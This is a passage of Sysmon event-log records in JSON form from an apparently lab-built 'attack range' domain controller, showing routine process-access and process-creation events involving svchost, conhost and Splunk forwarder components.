AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.704\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.704","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4145,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.704\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.704","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4146,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.704\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-40FF-5F2D-0000-001069D10500}\r\nTargetProcessId: 868\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.704","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-40FF-5F2D-0000-001069D10500}","TargetProcessId":"868","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4147,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.845\r\nSourceProcessGUID: {90617006-40FF-5F2D-0000-001069D10500}\r\nSourceProcessId: 868\r\nSourceThreadId: 4620\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.845","SourceProcessGUID":"{90617006-40FF-5F2D-0000-001069D10500}","SourceProcessId":"868","SourceThreadId":"4620","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4148,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:40.392\r\nProcessGuid: {90617006-4100-5F2D-0000-00101FD30500}\r\nProcessId: 4660\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:54:40.392","ProcessGuid":"{90617006-4100-5F2D-0000-00101FD30500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4149,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:40.391\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4100-5F2D-0000-00101FD30500}\r\nTargetProcessId: 4660\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:40.391","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4100-5F2D-0000-00101FD30500}","TargetProcessId":"4660","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4150,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:40.391\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4100-5F2D-0000-00101FD30500}\r\nTargetProcessId: 4660\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:40.391","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4100-5F2D-0000-00101FD30500}","TargetProcessId":"4660","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4151,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:40.391\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:40.391","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4152,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:40.391\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:40.391","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4153,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process 